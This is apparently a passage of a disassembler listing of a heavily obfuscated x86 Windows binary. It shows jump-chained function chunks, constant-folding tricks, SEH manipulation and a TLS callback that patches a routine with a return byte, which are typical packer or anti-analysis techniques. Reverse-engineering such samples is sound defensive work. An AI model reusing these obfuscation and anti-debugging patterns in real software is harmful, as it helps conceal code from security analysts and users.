; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F8F


loc_42AA7F:				; CODE XREF: sub_427F8F+Ej
		inc	dword ptr [ebp-8]
; END OF FUNCTION CHUNK	FOR sub_427F8F
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42AA82:				; CODE XREF: sub_429471-4B08j
					; sub_429471-4AFFj
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


loc_42AA89:				; CODE XREF: sub_42A197-3834j
		jmp	loc_4288CD
; END OF FUNCTION CHUNK	FOR sub_42A197

; =============== S U B	R O U T	I N E =======================================



sub_42AA8E	proc near		; DATA XREF: sub_42E337:loc_42F89Do

; FUNCTION CHUNK AT 00424B56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427873 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004299BE SIZE 0000001F BYTES

		mov	eax, [eax]
		call	sub_42D765
		mov	esp, ebp
		pop	ebp
		push	edx
		push	7D916B91h
		pop	edx
		jmp	loc_424B56
sub_42AA8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E77


loc_42AAA4:				; CODE XREF: sub_429E77:loc_424522j
		jb	loc_4250B5
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		jmp	loc_4250AC
; END OF FUNCTION CHUNK	FOR sub_429E77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429459


loc_42AAB8:				; CODE XREF: sub_429459+13j
		cmp	eax, 68A0BA1Ah
		jmp	loc_42D516
; END OF FUNCTION CHUNK	FOR sub_429459

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AAC3	proc near		; DATA XREF: sub_42FA6E+1o

; FUNCTION CHUNK AT 00425DD4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00426447 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004289DC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004294A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AC4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E071 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC23 SIZE 00000011 BYTES

		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_425DD4
sub_42AAC3	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42AACF:				; CODE XREF: sub_42F25F-6C45j
		jmp	loc_42729D
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250D4


loc_42AAD4:				; CODE XREF: sub_4250D4+21j
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_4250D4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: wto1jq8f:0042917Ej
		xor	ebx, 8D2B5438h
		add	ebx, ebp
		add	ebx, 0F601F456h
		mov	[ebx], eax
		mov	ebx, offset loc_42C912
		xchg	ebx, [esp]
		jmp	locret_42C911

; =============== S U B	R O U T	I N E =======================================



sub_42AAF6	proc near		; CODE XREF: sub_42506F+877Ep
					; wto1jq8f:0042FDC7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B1DD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042DD9B SIZE 0000000E BYTES

		mov	[esp+0], edx
		pop	edx
		xchg	eax, ebp
		push	4
		push	ebx
		push	49ED94EFh
		jmp	loc_42B1DD
sub_42AAF6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42AB09:				; CODE XREF: sub_426968:loc_42958Dj
		call	sub_424BAC


loc_42AB0E:				; CODE XREF: sub_426968+83C5j
		jmp	loc_42779D
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42AB13:				; CODE XREF: sub_4272F3+251Ej
		jmp	loc_42F5F1
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42AB18:				; CODE XREF: sub_4266B1:loc_42E1CDj
		push	offset loc_429713
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------


loc_42AB22:				; CODE XREF: wto1jq8f:0042E1B5j
		js	locret_42EAAA
		cmp	ecx, esi
		jmp	loc_426645
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42AB2F:				; CODE XREF: sub_42A909:loc_42FA84j
		jnz	loc_424D27
		jmp	loc_4247F2
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42AB3A:				; CODE XREF: sub_42C486:loc_427D7Dj
		jnz	loc_4279F3
		jmp	loc_429EE5
; END OF FUNCTION CHUNK	FOR sub_42C486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424DA0


loc_42AB46:				; CODE XREF: sub_424DA0+A425j
		push	ecx
		push	6E3A6C2h
		pop	ecx
		add	ecx, 0F95F2DA4h
		xchg	ecx, [esp+0]
		jmp	loc_42C8C6
; END OF FUNCTION CHUNK	FOR sub_424DA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242D6


loc_42AB5B:				; CODE XREF: sub_4242D6:loc_42CBC1j
		xchg	ebp, esi


loc_42AB5D:				; CODE XREF: wto1jq8f:00424A0Fj
		push	offset sub_42B2C4
		jmp	loc_42F9C3
; END OF FUNCTION CHUNK	FOR sub_4242D6
; ---------------------------------------------------------------------------


loc_42AB67:				; CODE XREF: wto1jq8f:loc_426383j
		jnz	loc_42F3E1
		jmp	loc_4280AD
; ---------------------------------------------------------------------------


loc_42AB72:				; DATA XREF: wto1jq8f:00428F07o
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_42991A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42AB85:				; CODE XREF: sub_429165:loc_42DBD7j
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jmp	loc_42F17B
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------


loc_42AB93:				; CODE XREF: wto1jq8f:004283A9j
		and	ebx, edi
		pop	edi
		push	offset loc_427447
		jmp	loc_4269E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42ABA0:				; CODE XREF: sub_4266B1:loc_42709Bj
					; sub_42628C:loc_42CCCEj
		lea	eax, [ebp-14h]
		xor	edx, edx
		push	edi
		push	297B1376h
		pop	edi
		jmp	loc_424533
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A5C4


loc_42ABB1:				; CODE XREF: sub_42A5C4:loc_42BB08j
		mov	eax, edi
		pop	edi
		call	sub_42B178


loc_42ABB9:				; CODE XREF: sub_42A909+F74j
		jmp	sub_42CB36
; END OF FUNCTION CHUNK	FOR sub_42A5C4
; ---------------------------------------------------------------------------
		test	ecx, ebp


loc_42ABC0:				; CODE XREF: wto1jq8f:00427BC4j
		jmp	loc_42DB4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42ABC5:				; CODE XREF: sub_42970D+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42F9D7
; END OF FUNCTION CHUNK	FOR sub_42970D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42ABD0:				; CODE XREF: sub_42B353-228Fj
					; sub_427A8D+824Bj
		push	0C98D1A1Ah
		pop	eax
		sub	eax, 0D5AF30F7h
		rol	eax, 16h
		test	eax, 40000000h
		jmp	loc_428148
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
		cmp	ebx, ecx
		jmp	loc_42C215
; ---------------------------------------------------------------------------


loc_42ABF1:				; DATA XREF: sub_428501+4A20o
		push	99880B40h
		pop	esi
		xor	esi, 67598E68h
		popf
		sbb	eax, esi
		pop	esi
		and	eax, edx
; START	OF FUNCTION CHUNK FOR sub_42F5E5


loc_42AC03:				; CODE XREF: sub_42F5E5-8873j
		adc	eax, edx
		jmp	loc_42CD9B
; END OF FUNCTION CHUNK	FOR sub_42F5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42AC0A:				; CODE XREF: sub_42F2C7:loc_42CCD9j
		shr	edx, 3
		mov	ecx, ds:dword_429558
		jnb	loc_425FAE
		or	[ecx+edx], al
		mov	eax, [ebp-0Ch]
		jmp	loc_429244
; END OF FUNCTION CHUNK	FOR sub_42F2C7

; =============== S U B	R O U T	I N E =======================================



sub_42AC24	proc near		; CODE XREF: wto1jq8f:004283FDj
					; sub_42E42A+6p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
sub_42AC24	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426968


loc_42AC2F:				; CODE XREF: sub_426750+3j
					; sub_424BD4+1B88j ...
		jo	loc_424BC5
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_4275E2
		jmp	loc_42958D
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_42AC4A:				; CODE XREF: sub_42AAC3-4CD9j
		jz	loc_42EC2F
		jmp	loc_42E071
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42AC55:				; CODE XREF: sub_42D69D:loc_42FBA1j
		add	esi, 58B3251Dh
		mov	[esi], eax
		call	sub_4299EB


loc_42AC62:				; CODE XREF: wto1jq8f:0042F01Aj
		jmp	loc_42C251
; END OF FUNCTION CHUNK	FOR sub_42D69D
; ---------------------------------------------------------------------------


loc_42AC67:				; CODE XREF: wto1jq8f:00426215j
		jmp	loc_42DB66
; ---------------------------------------------------------------------------

locret_42AC6C:				; CODE XREF: wto1jq8f:loc_4271CDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42AC6D:				; CODE XREF: sub_42E9E8:loc_42C3B2j
		jz	loc_4277D2
		jmp	loc_42D531
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42AC78:				; CODE XREF: sub_427143:loc_4292FEj
		push	offset sub_425962
		jmp	loc_42D7CE
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------


loc_42AC82:				; CODE XREF: wto1jq8f:0042BFA0j
		mov	ecx, [ecx]
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jnz	loc_4245A9
		jmp	loc_426442
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42AC95:				; CODE XREF: sub_42D9D9-5264j
		adc	ebx, 6D33DDF2h
		jno	loc_42C652


loc_42ACA1:				; CODE XREF: sub_42D9D9:loc_42C9C9j
		call	nullsub_32
		retn
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42ACA7:				; CODE XREF: sub_426535+8DCAj
		jmp	loc_42EE43
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42ACAC:				; CODE XREF: sub_42A909-1A31j
		call	sub_427F4E
		test	al, al
		jz	loc_429F2C
		jmp	loc_42FA84
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		jg	loc_425F52
		jmp	sub_429281
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42ACCA:				; CODE XREF: sub_4284EC-24E5j
		jmp	loc_424E7B
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_42ACCF:				; CODE XREF: sub_42FACF-636Cj
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_42FACF
; ---------------------------------------------------------------------------


loc_42ACD1:				; CODE XREF: wto1jq8f:00429748j
		jmp	loc_42BF88

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ACD6	proc near		; CODE XREF: sub_42F03D:loc_42F043j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0042C40F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CA1E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E5F5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_42C6F9


loc_42ACDF:				; CODE XREF: wto1jq8f:0042A9FFj
		jmp	loc_42C40F
sub_42ACD6	endp

; ---------------------------------------------------------------------------
dword_42ACE4	dd 0							; wto1jq8f:00429882r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42ACE8:				; CODE XREF: sub_4244EA+1AFj
		jmp	sub_42A56D
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
		push	edi
		jmp	short loc_42AD69
; ---------------------------------------------------------------------------
dword_42ACF0	dd 0							; sub_429D2E+2892r
; ---------------------------------------------------------------------------


loc_42ACF4:				; CODE XREF: wto1jq8f:00427323j
		jmp	locret_42F852
; ---------------------------------------------------------------------------
		db 4Bh,	7, 37h
dword_42ACFC	dd 0							; sub_42EFB5-2C2Br
; ---------------------------------------------------------------------------
		pop	ss
		mov	eax, 31E95CC5h
		les	ebp, [eax+ecx*2+1572D3h]
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42AD0D:				; CODE XREF: sub_426C0C:loc_42F8AFj
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------


loc_42AD12:				; CODE XREF: wto1jq8f:0042EFDAj
		jmp	nullsub_115
; ---------------------------------------------------------------------------
		db 43h
dword_42AD18	dd 5CC5B817h, 54444AC8h, 0BA00D0A6h, 5CC5B817h,	54444AC8h
					; DATA XREF: sub_428F61+3o
		dd 18D0A6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9B0


loc_42AD30:				; CODE XREF: sub_42D9B0+13j
		jmp	loc_42961F
; END OF FUNCTION CHUNK	FOR sub_42D9B0
; ---------------------------------------------------------------------------
		db 13h,	1Ch, 0A8h
		dd 5CC5B817h, 4A5485A8h, 4851D48Ah, 4544A4h, 0E903C6C1h
		dd 522Dh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B840


loc_42AD51:				; CODE XREF: sub_42B840+10j
		jmp	loc_42F5A8
; END OF FUNCTION CHUNK	FOR sub_42B840
; ---------------------------------------------------------------------------
		cmp	ebx, eax
		jmp	loc_42C71D
; ---------------------------------------------------------------------------
		test	ebp, 0A46E576Ch
		jmp	loc_42C710
; ---------------------------------------------------------------------------

locret_42AD68:				; CODE XREF: wto1jq8f:loc_4269E0j
		retn
; ---------------------------------------------------------------------------


loc_42AD69:				; CODE XREF: wto1jq8f:00424A15j
					; wto1jq8f:0042ACEEj
		jno	loc_426CF7
		sub	ebx, 0D0CDC9D4h
		xchg	esi, [ebx]
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42AD77:				; CODE XREF: sub_42C486-7A8Cj
		xor	edx, 0B4646693h
		add	edx, ebp
		add	edx, 34446676h
		call	sub_42C0F6
; END OF FUNCTION CHUNK	FOR sub_42C486
; START	OF FUNCTION CHUNK FOR sub_426950


loc_42AD8A:				; CODE XREF: sub_426950:loc_42A5F1j
		jz	sub_427D8D
		jmp	loc_4281A6
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42AD95:				; CODE XREF: sub_42C486-3C7Dj
		jnb	loc_42DA95
		adc	edi, 0A683BBE6h
		or	edi, 22C3BD08h


loc_42ADA7:				; CODE XREF: sub_42C486:loc_42A2C6j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 51h
		push	ecx
		jmp	loc_42D417
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_42ADBC:				; CODE XREF: sub_42FE77:loc_426328j
					; sub_42D789-7366j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42D789
; ---------------------------------------------------------------------------


loc_42ADBE:				; CODE XREF: wto1jq8f:004243CCj
					; wto1jq8f:loc_42E273j
		mov	byte ptr [ebp-5], 0
		jmp	loc_42D78E

; =============== S U B	R O U T	I N E =======================================



sub_42ADC7	proc near		; CODE XREF: wto1jq8f:loc_42446Ep
					; DATA XREF: TlsCallback_0+21C9o ...

; FUNCTION CHUNK AT 00428B21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DB15 SIZE 00000005 BYTES

		mov	eax, 131h
		call	sub_428183
		jmp	loc_42DB15
sub_42ADC7	endp

; ---------------------------------------------------------------------------
		mov	ds:dword_42F1D4, eax
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42ADDB:				; CODE XREF: sub_429B76:loc_42D284j
		xor	eax, eax
		mov	ds:dword_42F1E0, eax
		push	0
		push	8FDA3C0Fh
		pop	eax
		or	eax, 7FC32C0Fh
		jmp	loc_424C63
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42ADF5:				; CODE XREF: sub_42C486-81DBj
		mov	large fs:0, esp
		mov	eax, large fs:20h
		or	eax, eax
		jz	loc_42E7BB
		jmp	loc_42F7C8
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_42AE10:				; CODE XREF: sub_4262CE+6739j
		js	loc_426CB3
		jg	loc_42BA30
		jmp	loc_429363
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------


loc_42AE21:				; DATA XREF: sub_42F119-68A5o
		call	sub_42ED32
		test	eax, eax
		setnz	byte ptr [ebp-1]
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_42AE2C:				; CODE XREF: sub_42655A+Aj
					; sub_42F119-68ABj ...
		mov	al, [ebp-1]
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42655A
; ---------------------------------------------------------------------------


loc_42AE32:				; CODE XREF: wto1jq8f:0042840Fj
		mov	esp, ebp
		jmp	loc_4292FE
; ---------------------------------------------------------------------------


loc_42AE39:				; CODE XREF: wto1jq8f:loc_429BB0j
		jnz	loc_4279D2
		jmp	loc_428643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_42AE44:				; CODE XREF: sub_425F4F+3FC6j
					; sub_425F4F:loc_42E744j
		call	sub_427A8D
		call	sub_42CBD1


loc_42AE4E:				; CODE XREF: wto1jq8f:00427B5Cj
		jmp	loc_42E2D4
; END OF FUNCTION CHUNK	FOR sub_425F4F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E337


loc_42AE54:				; CODE XREF: sub_42E337-2867j
		jmp	loc_42F89D
; END OF FUNCTION CHUNK	FOR sub_42E337
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C61B


loc_42AE59:				; CODE XREF: sub_42C61B-49FAj
		jmp	sub_4242D6
; END OF FUNCTION CHUNK	FOR sub_42C61B

; =============== S U B	R O U T	I N E =======================================



sub_42AE5E	proc near		; DATA XREF: wto1jq8f:0042EE86o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042D2DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042EFF7 SIZE 00000005 BYTES

		pop	ebp
		xor	eax, eax
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		xchg	esi, [esp-4+arg_0]
		mov	ecx, esi
		jmp	loc_42EFF7
sub_42AE5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	esi, 7FA3B696h
		jmp	sub_42A3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42AE7C:				; CODE XREF: sub_42AA68-3986j
		ror	ecx, 10h


loc_42AE7F:				; CODE XREF: sub_42AA68:loc_4241CDj
		push	23BD8B9h
		pop	eax
		add	eax, 0B7B91085h
		sub	eax, 0AE2F41FDh
		xor	eax, 0E1E4DD0Bh
		add	eax, ebp
		add	eax, 15DE85AAh
		jmp	loc_42E483
; END OF FUNCTION CHUNK	FOR sub_42AA68

; =============== S U B	R O U T	I N E =======================================



sub_42AEA4	proc near		; CODE XREF: sub_4267AE+48E3p

; FUNCTION CHUNK AT 00429B20 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		mov	edi, [esp+0]
		push	3687FDD9h
		pop	edi
		rol	edi, 4
		add	edi, 97C2C23Dh
		jmp	loc_429B20
sub_42AEA4	endp

; ---------------------------------------------------------------------------


loc_42AEBE:				; CODE XREF: wto1jq8f:0042A274j
		adc	edx, 5CD418AFh
		jmp	loc_42ECF6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42AECA:				; CODE XREF: sub_426D4F+8F1Ej
		push	edx
		xchg	eax, edx
		retn
; END OF FUNCTION CHUNK	FOR sub_426D4F

; =============== S U B	R O U T	I N E =======================================



sub_42AECE	proc near		; CODE XREF: sub_42A54A+15j
					; wto1jq8f:0042C84Cj ...

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00424417 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004263A6 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0042673A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427123 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428D0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A459 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042CC86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D1E6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D4B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E66D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042FACA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FF90 SIZE 00000005 BYTES

		jb	loc_42E66D
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42D4B5
sub_42AECE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42AEDD	proc near		; CODE XREF: wto1jq8f:0042B78Bj
					; sub_42BE69+B6Ep

; FUNCTION CHUNK AT 00426030 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FBD4 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ds:dword_425108[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_42FBD4
sub_42AEDD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_42AEF4:				; CODE XREF: sub_42CF89:loc_42FA8Ej
		jnz	loc_424738
; END OF FUNCTION CHUNK	FOR sub_42CF89
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42AEFA:				; CODE XREF: sub_425E35+Ej
		jmp	loc_42EEE7
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
		db 0Fh
		dd 115189h, 3DE38100h, 3B2823F4h, 9B8BE9D0h, 0C085FFFFh
		dd 40148C0Fh, 7D830000h, 950F00F0h, 7E9FB45h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_42AF27:				; CODE XREF: wto1jq8f:00427554j
					; wto1jq8f:00427568j
		add	edx, 6675838Eh
		popf
		sbb	eax, edx
		pop	edx
		mov	ecx, 0B6F8F93Fh
		push	offset sub_42E115
		jmp	loc_424D4E
; ---------------------------------------------------------------------------


loc_42AF40:				; CODE XREF: wto1jq8f:00426349j
		sub	eax, ebp
		xchg	edi, ebp


loc_42AF44:				; CODE XREF: wto1jq8f:0042A0B1j
		not	ecx
		and	edx, 8F41AD39h
; START	OF FUNCTION CHUNK FOR sub_427A30


loc_42AF4C:				; CODE XREF: sub_427A30:loc_42633Bj
		or	eax, 2DF8567Dh
		add	eax, 50457EE3h
		jmp	loc_42EEDF
; END OF FUNCTION CHUNK	FOR sub_427A30
; ---------------------------------------------------------------------------
		jl	loc_429F4F
		jmp	loc_4292AB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42AF69:				; CODE XREF: wto1jq8f:0042E233j
		jmp	sub_429165
; ---------------------------------------------------------------------------


loc_42AF6E:				; CODE XREF: wto1jq8f:0042A524j
		jmp	loc_426635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42AF73:				; CODE XREF: sub_4272F3-56Fj
		jmp	loc_425FDE
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F185


loc_42AF78:				; CODE XREF: sub_42F185:loc_425E8Bj
		call	sub_42DB52


loc_42AF7D:				; CODE XREF: sub_42F25F-5935j
		jmp	loc_428494
; END OF FUNCTION CHUNK	FOR sub_42F185

; =============== S U B	R O U T	I N E =======================================



sub_42AF82	proc near		; CODE XREF: wto1jq8f:0042B9F4j
					; sub_42BB12p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00427FFF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D3B9 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[esp-4+arg_0], ebp
		mov	ebp, esp
		call	sub_424DA0


loc_42AF90:				; CODE XREF: sub_42D22D:loc_429738j
					; sub_4266B1+4BD9j
		jnz	loc_42D3B9
		jmp	loc_427FFF
sub_42AF82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset sub_42ED54
		jmp	loc_42E08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42AFA5:				; CODE XREF: sub_42A909-6741j
		jnb	loc_424D3B
		xor	edx, 5B83C332h
		xor	edi, ecx
		jmp	loc_424024
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		cmp	esi, ebp
		jmp	loc_42C851
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_42AFBF:				; CODE XREF: sub_428333:loc_42C3FEj
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_428183
; END OF FUNCTION CHUNK	FOR sub_428333
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB75


loc_42AFC8:				; CODE XREF: sub_42BB75+8j
		jmp	loc_4240ED
; END OF FUNCTION CHUNK	FOR sub_42BB75

; =============== S U B	R O U T	I N E =======================================



sub_42AFCD	proc near		; CODE XREF: sub_4260DB+27E1p
					; wto1jq8f:00429012j

; FUNCTION CHUNK AT 0042BC81 SIZE 0000000A BYTES

		mov	[esp+0], eax
		pop	eax
		add	eax, ebp
		add	eax, 0F6F72304h
		mov	dword ptr [eax], 737361h
		push	0
		jmp	loc_42BC81
sub_42AFCD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42AFE6:				; CODE XREF: TlsCallback_0+4j
		mov	ebp, esp
		push	ecx
		jnz	loc_42F690
		inc	ds:dword_42F1CC
		lea	eax, sub_42ADC7


loc_42AFFB:				; CODE XREF: wto1jq8f:loc_42B8B5j
		mov	byte ptr [eax],	0C3h
		call	sub_4266EF
		call	sub_42D993
		jmp	loc_42BA7F
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42B00D:				; CODE XREF: sub_426D4F:loc_42B970j
		ja	loc_429E88
		jmp	loc_42BC5B
